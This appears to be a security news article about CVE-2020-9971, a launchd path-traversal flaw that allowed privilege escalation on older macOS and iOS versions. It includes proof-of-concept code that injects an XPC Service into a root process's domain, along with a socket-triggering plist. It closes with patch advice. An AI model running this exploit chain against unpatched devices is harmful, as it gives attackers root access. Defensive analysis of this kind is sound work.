Breaking News
Menu
Advertisement

The CVE-2020-9971 Vulnerability: How a launchd Flaw Grants Root Access on macOS and iOS

The CVE-2020-9971 Vulnerability: How a launchd Flaw Grants Root Access on macOS and iOS
AI Image Generated
Advertisement

The CVE-2020-9971 vulnerability exposes a critical logic flaw within the macOS and iOS launchd process, allowing attackers to achieve 100% stable privilege escalation. Discovered by Zhipeng Huo of Tencent Security Xuanwu Lab, the exploit leverages the XPC Service mechanism to bypass the most restricted app sandboxes and execute code with root privileges.

Because launchd is the most fundamental component in Apple's operating systems, this vulnerability affects devices running versions prior to macOS Big Sur and iOS 13.5. By manipulating how the system verifies process domains, an attacker can force a high-privilege system process to execute malicious code on demand.

Understanding XPC Services and Process Domains

XPC Services are background bundles managed by launchd that provide dedicated services to a single application, improving reliability and security by isolating crashes. Unlike system-wide LaunchDaemons, these are process-wide and confined to a specific process domain. According to Apple's design, only the process that owns the domain should be able to modify it.

However, the access check function in macOS versions prior to Big Sur failed to verify if the caller PID matched the domain's owner PID. While the system used the sandbox_check_by_audit_token API to ensure sandboxed apps could not interfere with other domains, a secondary check provided a fatal loophole for attackers.

The Path Traversal Exploit

The vulnerability stems from how launchd verifies if an added XPC Service resides within the target process's subdirectory. The system relied on a simple string comparison function that only checked the beginning of the file path.

bool __fastcall sub_10000B440(char *a1, char *a2){
 size_t v2;
 v2 = strlen(a2);
 return strncmp(a1, a2, v2) == 0;
}

Because this code merely checks the start of the string, it is highly susceptible to a path traversal attack. By passing a path containing standard traversal characters, an attacker can bypass the check and inject a custom XPC Service into a high-privilege process domain, such as the systemsoundserverd process.

xpc_object_t pid_dict = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(pid_dict, "pid", 308);
NSString* mainBundlePath = [[NSBundle mainBundle] bundlePath];
NSString* bundlePath = [NSString stringWithFormat:@"/usr/sbin/../..%@/../testXPC.xpc", mainBundlePath];
xpc_object_t xpc_bundle = xpc_string_create([bundlePath UTF8String]);
xpc_object_t paths = xpc_array_create(&xpc_bundle, 1);
xpc_add_bundles_for_domain(pid_dict, paths);

Triggering the Payload via Sockets

Injecting the service is only the first step; the service remains in a waiting state because XPC Services are launched on demand. To force the root process to execute the payload, the attacker can configure the custom XPC Service's plist file to listen on a specific socket port.

<key>LaunchProperties</key>
<dict>
	<key>Sockets</key>
	<dict>
		<key>Listeners</key>
		<dict>
			<key>SockServiceName</key>
			<string>9999</string>
			<key>SockType</key>
			<string>stream</string>
		</dict>
	</dict>
</dict>
<key>XPCService</key>
<dict>
	<key>ServiceType</key>
	<string>Application</string>
</dict>

Once configured, launchd actively listens on the designated port. Any incoming network connection to this socket triggers launchd to start the malicious XPC Service with full root privileges, completing the exploit chain.

Active Internet connections (including servers)
Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)
tcp4       0      0  *.9999                 *.*                    LISTEN
tcp6       0      0  *.9999                 *.*                    LISTEN

Apple's Silent iOS Patch and Mitigation Steps

While macOS and iOS share the same launchd architecture, Apple initially deployed a stealthy mitigation in iOS 13.5. They replaced the xpc_bundle_get_path API with xpc_bundle_get_property, which resolves the real path and strips out the traversal characters. It wasn't until iOS 14.0 and macOS Big Sur that Apple fully resolved the logic flaw by strictly verifying the caller's audit token against the process domain owner.

To protect systems against this privilege escalation technique, users and administrators must ensure the following:

  • Update all Mac computers to macOS Big Sur (11.0) or a later version to ensure the domain owner verification patch is active.
  • Update all iPhones and iPads to iOS 14.0 or later to benefit from the complete audit token verification.
  • Monitor network activity for unexpected local socket listeners, which can indicate an on-demand service exploit attempting to trigger a payload.

The Hidden Cost of Developer Convenience

The mechanics behind the CVE-2020-9971 vulnerability highlight a recurring theme in modern operating system security: developer convenience often breeds architectural blind spots. Apple designed XPC Services to be nearly transparent for developers, abstracting away the complex inter-process communication required to isolate application components. However, this abstraction masked a fundamental logic failure in how launchd verified domain ownership.

By relying on a rudimentary string comparison for path validation, the system left the door wide open for classic path traversal techniques - a vulnerability class that has existed for decades. This exploit proves that even within highly restricted, modern app sandboxes, foundational components remain lucrative targets. As operating systems continue to automate background service management, security researchers will increasingly find critical flaws not in memory corruption, but in the underlying logic of these transparent frameworks.

Did you like this article?
Advertisement

Popular Searches